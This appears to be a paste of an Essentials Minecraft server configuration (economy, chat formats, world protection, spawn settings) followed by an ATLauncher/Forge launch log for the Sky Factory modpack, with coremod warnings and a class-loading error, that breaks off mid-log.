enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: 